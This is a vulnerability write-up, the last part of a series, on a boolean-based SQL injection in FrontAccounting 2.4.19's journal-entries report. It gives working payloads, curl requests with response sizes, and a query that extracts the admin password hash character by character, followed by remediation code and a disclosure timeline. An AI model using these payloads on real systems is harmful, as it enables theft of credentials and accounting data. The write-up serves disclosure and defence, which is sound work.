Series
FrontAccounting 2.4.19 Vulnerability Research — View all write-ups

Series Navigation

This is Part 4 of a 4-part series on vulnerabilities in FrontAccounting 2.4.19.

A Different Shape

By this point in the assessment, I'd found UNION injection (Part 2) and time-based blind injection (Part 3) in FrontAccounting's reporting module. Both targeted integer parameters dropped into WHERE clauses. I expected the third instance to look the same.

It didn't. The injection in rep702.php goes through a different code path, lands in an IN() clause instead of a simple equality check, and the exploitation technique ends up being boolean-based rather than UNION or time-based. Same root cause, different mechanics. That's what made it worth writing up separately.

The Call Chain

This one isn't just a single file. The injection flows through a function call:

Step 1 — rep702.php, line 39:

$systype = $_POST['PARAM_2'];

PARAM_2 is read from POST. As with every other report, html_cleanup() has already run — and as with every other integer parameter, it had no effect on the payload.

Step 2 — rep702.php calls get_gl_transactions():
The $systype value is passed as the $filter_type parameter to get_gl_transactions() in gl/includes/db/gl_db_trans.inc.

Step 3 — gl_db_trans.inc, line 163:

$sql .= " AND gl.type IN (" . $filter_type .");";

The user-controlled value ends up inside an IN() clause. The SQL looks like:

SELECT ... FROM 0_gl_trans gl
JOIN ...
WHERE ... AND gl.type IN ([PARAM_2]);

Normal usage: PARAM_2=0 produces AND gl.type IN (0);

The Injection Structure

The IN() clause creates a specific injection grammar. The user's value is placed after an opening parenthesis that's already in the SQL. The closing parenthesis and semicolon come from the code. To break out:

PARAM_2=0) OR 1=1-- -

This produces:

AND gl.type IN (0) OR 1=1-- -);

The ) in the payload closes the IN() clause. The -- - comments out the original );. What's left is a WHERE clause with OR 1=1 appended, making it always true and returning every journal entry in the system.

For the false condition:

PARAM_2=0) OR 1=2-- -

Produces:

AND gl.type IN (0) OR 1=2-- -);

OR 1=2 is always false, so the result set matches the baseline (entries of type 0, which typically returns nothing).

The Boolean Oracle

The beauty of this injection point is the response size differential. The report generates a PDF containing all matching journal entries. When the injected condition is true, every journal entry in the database is included. When false, the PDF contains only the empty report template.

# Baseline: type=0, no matching transactions
curl -sk -b "$COOKIE" -X POST "${TARGET}/reporting/prn_redirect.php" \
  --data-urlencode "REP_ID=702" \
  --data-urlencode "PARAM_0=01/01/2020" \
  --data-urlencode "PARAM_1=01/01/2030" \
  --data-urlencode "PARAM_2=0" \
  --data-urlencode "PARAM_3=0" \
  --data-urlencode "PARAM_4=0" \
  --data-urlencode "PARAM_5=0" \
  -o baseline.pdf
wc -c baseline.pdf
# → 2,579 bytes
# TRUE condition: OR 1=1 returns everything
curl -sk -b "$COOKIE" -X POST "${TARGET}/reporting/prn_redirect.php" \
  --data-urlencode "REP_ID=702" \
  --data-urlencode "PARAM_0=01/01/2020" \
  --data-urlencode "PARAM_1=01/01/2030" \
  --data-urlencode "PARAM_2=0) OR 1=1-- -" \
  --data-urlencode "PARAM_3=0" \
  --data-urlencode "PARAM_4=0" \
  --data-urlencode "PARAM_5=0" \
  -o true.pdf
wc -c true.pdf
# → 339,774 bytes
# FALSE condition: OR 1=2 matches nothing
curl -sk -b "$COOKIE" -X POST "${TARGET}/reporting/prn_redirect.php" \
  --data-urlencode "REP_ID=702" \
  --data-urlencode "PARAM_0=01/01/2020" \
  --data-urlencode "PARAM_1=01/01/2030" \
  --data-urlencode "PARAM_2=0) OR 1=2-- -" \
  --data-urlencode "PARAM_3=0" \
  --data-urlencode "PARAM_4=0" \
  --data-urlencode "PARAM_5=0" \
  -o false.pdf
wc -c false.pdf
# → 2,563 bytes

2,579 bytes (baseline) vs 339,774 bytes (true condition). A 132x size difference. The false condition at 2,563 bytes is within noise of the baseline. This is one of the cleanest boolean oracles I've worked with — no need for subtle timing analysis or single-byte differences. The response is either 2KB or 340KB.

Terminal showing file sizes of baseline, true-condition, and false-condition PDF responses
Terminal showing file sizes of baseline, true-condition, and false-condition PDF responses
PDF report showing all journal entries returned by the OR 1=1 injection
PDF report showing empty results from the OR 1=2 injection
PDF report showing empty results from the OR 1=2 injection

Why SLEEP Doesn't Work Here

I tried SLEEP() on this injection point first, expecting the same amplification behavior from Part 3. It didn't work — the response came back at near-baseline speed.

The reason: the query in gl_db_trans.inc has a GROUP BY clause. MySQL's query planner handles SLEEP() differently when GROUP BY is involved. In a grouped query, the predicate evaluation doesn't execute SLEEP() per-row in the same predictable way as an ungrouped scan. The behavior depends on the execution plan — with certain GROUP BY optimizations, the SLEEP may execute only once or be optimized away entirely.

This is a good reminder that injection technique selection depends on the specific query structure. UNION injection requires knowing the column count and being able to control the output. Time-based requires SLEEP to execute predictably per-row. Boolean-based requires a detectable difference in the response. The query structure determines which technique works. For this IN() clause with GROUP BY, boolean via response size is the right approach.

Data Extraction via Boolean

While the UNION injection in Part 2 provides faster data extraction, this boolean oracle is independently capable of extracting arbitrary data. The technique:

PARAM_2=0) OR ASCII(SUBSTRING((SELECT password FROM 0_users WHERE user_id='admin'),1,1))>50-- -

If the first character of the admin password hash has an ASCII value greater than 50, the response is 339KB. If not, it's 2KB. Binary search across the ASCII range for each character position extracts the hash character by character. For a 32-character MD5 hash, that's roughly 32 characters x 7 binary-search requests per character = ~224 requests. At sub-second response times for the false condition and a few seconds for the true condition, full hash extraction takes a few minutes.

With UNION injection available on the same application (Part 2), this approach is unnecessary for this engagement. But it demonstrates that the vulnerability is fully exploitable even without a direct data reflection channel, and it illustrates the boolean extraction technique against a real-world IN() clause injection.

Three Reports, One Root Cause

Parts 2, 3, and 4 of this series each present a different SQL injection, each with different exploitation characteristics:

Report File Injection Point Technique Key Behavior
Bank Statement (601) rep601.php WHERE id = $acc UNION Direct data reflection in PDF
Audit Trail (710) rep710.php WHERE a.type=$type Time-based blind SLEEP amplification (780x)
Journal Entries (702) gl_db_trans.inc IN ($filter_type) Boolean-based 132x response size oracle

All three share one root cause: $_POST['PARAM_N'] values are concatenated into SQL queries without parameterization. The html_cleanup() global filter encodes HTML special characters, which has no effect on integer payloads. The reporting module trusts that form parameters contain the values the form was designed to submit.

The fix is the same for all three: parameterized queries or, at minimum, strict type casting for integer parameters and proper escaping for string parameters.

FrontAccounting Journal Entries report form showing parameter fields
FrontAccounting Journal Entries report form showing parameter fields

Remediation

Immediate fix for gl_db_trans.inc:

// Replace line 163:
$sql .= " AND gl.type IN (" . $filter_type .");";

// With:
$filter_type = (int)$filter_type;
$sql .= " AND gl.type IN (" . $filter_type .");";

If $filter_type is legitimately a comma-separated list of integers (e.g., 1,2,3 for multiple transaction types), the fix is:

$types = array_map('intval', explode(',', $filter_type));
$sql .= " AND gl.type IN (" . implode(',', $types) . ");";

This ensures every value in the IN() list is cast to an integer, neutralizing any injected SQL syntax.

For rep702.php:

// Replace:
$systype = $_POST['PARAM_2'];

// With:
$systype = (int)$_POST['PARAM_2'];

Systemic: As recommended in Parts 2 and 3, a centralized parameter validation layer in prn_redirect.php is the most efficient way to fix this across all 52+ report files.

Disclosure Timeline

Date Event
2026-04-11 Vulnerability discovered during independent security research
2026-04-16 Vendor notified with full technical details
2026-04-17 Vendor acknowledgment
2026-04-17 CVE-2026-40524 assigned
2026-04-26 Version 2.4.20 released with the fix
2026-06-27 Public disclosure

This concludes the FrontAccounting 2.4.19 vulnerability research series.

Jiva Security

Jiva Security offers web application penetration testing, source-assisted assessments, and dedicated vulnerability research. Every engagement is performed directly by me — no subcontractors, no account managers, no junior staff. Senior offensive expertise from first contact to final report.

Services Get in touch